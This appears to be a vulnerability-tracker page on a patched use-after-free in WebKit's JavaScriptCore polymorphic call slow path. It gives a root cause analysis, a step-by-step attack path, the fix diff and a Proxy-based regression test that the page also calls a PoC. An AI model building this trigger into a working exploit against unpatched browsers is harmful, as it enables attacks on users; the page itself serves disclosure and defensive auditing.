Medium webkit UAF 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionThis issue was addressed through improved state management.
ComponentJSC
Bug ClassUAF
Tracker317142
Fix commit09ca909b6a83 (webkit) +41/-3
CISA KEVNot listed
CreditedOpenAI Codex Security - Amy Burnett
Disclosed2026-09-14

Background

Polymorphic call inline cache
When a JS call site sees multiple callees, JSC links a polymorphic stub described by a CallLinkInfo. operationPolymorphicCall (JIT, JITOperations.cpp) and llint_polymorphic_call (LLIntSlowPaths.cpp) are the slow paths that resolve the callee and then (re)link the stub via linkPolymorphicCall.
`CallLinkInfo`
per-call-site metadata owned by the code block; linkPolymorphicCall mutates *callLinkInfo in place to install/extend the stub. Its lifetime is tied to the owning code block, which can be destructed if that code is reclaimed.
Host call running JS
resolving/invoking an InternalFunction can run arbitrary JS (e.g. a Proxy apply trap, a native getter), which can mutate or free the call site’s structures.

Root Cause Analysis

virtualForWithFunction in RepatchInlines.h has an early path for InternalFunction callees: it returned the internal-function trampoline but, in the buggy code, did not set the out-param calleeAsFunctionCell — it was left at its incoming value. More importantly, the two slow-path callers then unconditionally executed linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell)). Resolving/dispatching an InternalFunction can synchronously run attacker JS, and that JS can cause the owning code block (and thus *callLinkInfo) to be freed. Dereferencing *callLinkInfo and linking into it afterward is therefore a use-after-free of the CallLinkInfo.

The patch addresses both halves. In RepatchInlines.h, the InternalFunction branch now assigns calleeAsFunctionCell = internalFunction so the out-param is meaningful. In operationPolymorphicCall and llint_polymorphic_call, the unconditional linkPolymorphicCall is now guarded by if (calleeAsFunctionCell) [[likely]] linkPolymorphicCall(...), with the explanatory comment: “A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don’t link.” In other words, a null calleeAsFunctionCell is the signal that a host call executed JS, so touching *callLinkInfo is unsafe and must be skipped. The committed regression operation-polymorphic-call-host-call-ic-reset.js drives exactly this: it trains a polymorphic getter IC, then installs a Proxy-backed getter whose apply trap runs delete proto.p (mutating the IC/structures) during the call, forcing the slow path to reach linkPolymorphicCall with freed state.

Key insight
The polymorphic-call slow path linked into *callLinkInfo unconditionally after resolving the callee, but resolving an InternalFunction callee can run attacker JS that frees *callLinkInfo, so the subsequent link was a use-after-free; the fix treats a null resolved cell as “host call ran JS” and skips the link.

Attack Path

  1. Train the IC Attacker JS creates a monomorphic→polymorphic call/getter site (getP(o) over a prototype getter) and warms it so a CallLinkInfo-backed polymorphic stub exists.
  2. Install a reentrant host callee Replace the getter with a Proxy-wrapped function (an InternalFunction-dispatched callee) whose apply trap runs arbitrary JS.
  3. Invoke Call the site again; the slow path (operationPolymorphicCall / llint_polymorphic_call) calls virtualForWithFunction, which dispatches the host callee.
  4. Free during reentry The apply trap executes JS (delete proto.p, dropping/resetting the IC) that causes the owning code block and its *callLinkInfo to be reclaimed.
  5. Primitive Control returns and the unpatched slow path dereferences/links *callLinkInfo — a use-after-free write into freed CallLinkInfo memory, grooming of which yields a controlled corruption primitive (strength beyond crash inferred).

Impact Assessment

Reachable from unprivileged web content in the renderer (JSC) through ordinary polymorphic call/getter sites plus a Proxy or other host callee that reentrantly mutates engine state. The diff substantiates a use-after-free of CallLinkInfo: a freed object is dereferenced and written during linkPolymorphicCall after a reentrant host call frees it. With heap grooming of the freed CallLinkInfo this is a classic exploitable UAF; the advisory’s “unexpected Safari crash” understates it. Full RCE via this UAF is the inferred escalation — the diff proves the dangling link, not the end-to-end chain.

Files Changed

  • JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
  • Source/JavaScriptCore/bytecode/RepatchInlines.h
  • Source/JavaScriptCore/jit/JITOperations.cpp
  • Source/JavaScriptCore/llint/LLIntSlowPaths.cpp

Audit Directions

  • Reentrancy after callee resolution
    Audit all slow paths that resolve a callee (virtualFor*, operationVirtualCall, construct/new paths) and then touch CallLinkInfo or other code-block-owned state, confirming they revalidate liveness after any step that can run JS.
  • Out-params left unset on early return
    Review other virtualForWithFunction-style helpers for early-return branches that leave out-params (calleeAsFunctionCell) in an ambiguous/stale state that callers then trust.
  • `ensureStillAliveHere` coverage
    Check that owner/callLinkInfo liveness is pinned across every reentrant window in the call-linking slow paths, not just for owner.
diff --git a/Source/JavaScriptCore/bytecode/RepatchInlines.h b/Source/JavaScriptCore/bytecode/RepatchInlines.h
index ba08fd9bcf4a..ae46d7f9cdd6 100644
--- a/Source/JavaScriptCore/bytecode/RepatchInlines.h
+++ b/Source/JavaScriptCore/bytecode/RepatchInlines.h
@@ -233,7 +233,8 @@ ALWAYS_INLINE void* virtualForWithFunction(VM& vm, JSCell* owner, CallFrame* cal
     JSValue calleeAsValue = calleeFrame->guaranteedJSValueCallee();
     calleeAsFunctionCell = getJSFunction(calleeAsValue);
     if (!calleeAsFunctionCell) [[unlikely]] {
-        if (jsDynamicCast<InternalFunction*>(calleeAsValue)) {
+        if (auto* internalFunction = jsDynamicCast<InternalFunction*>(calleeAsValue)) {
+            calleeAsFunctionCell = internalFunction;
             CodePtr<JSEntryPtrTag> codePtr = vm.getCTIInternalFunctionTrampolineFor(kind);
             ASSERT(!!codePtr);
             return codePtr.taggedPtr();
diff --git a/Source/JavaScriptCore/jit/JITOperations.cpp b/Source/JavaScriptCore/jit/JITOperations.cpp
index da1f2ed66378..11c6f2c57798 100644
--- a/Source/JavaScriptCore/jit/JITOperations.cpp
+++ b/Source/JavaScriptCore/jit/JITOperations.cpp
@@ -2490,7 +2490,9 @@ JSC_DEFINE_JIT_OPERATION(operationPolymorphicCall, UCPURegister, (CallFrame* cal
     void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
     if (scope.exception()) [[unlikely]]
         OPERATION_RETURN(scope, std::bit_cast<UCPURegister>(vm.getCTIStub(CommonJITThunkID::ThrowExceptionFromCall).template retagged<JSEntryPtrTag>().code().taggedPtr()));
-    linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+    // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+    if (calleeAsFunctionCell) [[likely]]
+        linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
     // Keep owner alive explicitly. Now this function can be called from tail-call. This means that CallFrame for that owner already goes away, so we should keep it alive if we would like to use it.
     ensureStillAliveHere(owner);
     if (scope.exception()) [[unlikely]]
diff --git a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
index 48dfaee4de2a..17db3a75ca3c 100644
--- a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
+++ b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
@@ -654,7 +654,9 @@ extern "C" UGPRPair SYSV_ABI llint_polymorphic_call(CallFrame* calleeFrame, Call
     void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
     if (scope.exception()) [[unlikely]]
         return encodeResult(callTarget, std::bit_cast<void*>(&vm));
-    linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+    // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+    if (calleeAsFunctionCell) [[likely]]
+        linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
     ensureStillAliveHere(owner);
     if (scope.exception()) [[unlikely]]
         return encodeResult(callTarget, std::bit_cast<void*>(&vm));
diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+    return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+    getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+    apply: function(target, thisArg, args) {
+        delete proto.p;
+        return 0x42;
+    }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+    return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+    getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+    apply: function(target, thisArg, args) {
+        delete proto.p;
+        return 0x42;
+    }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);
Loading diff…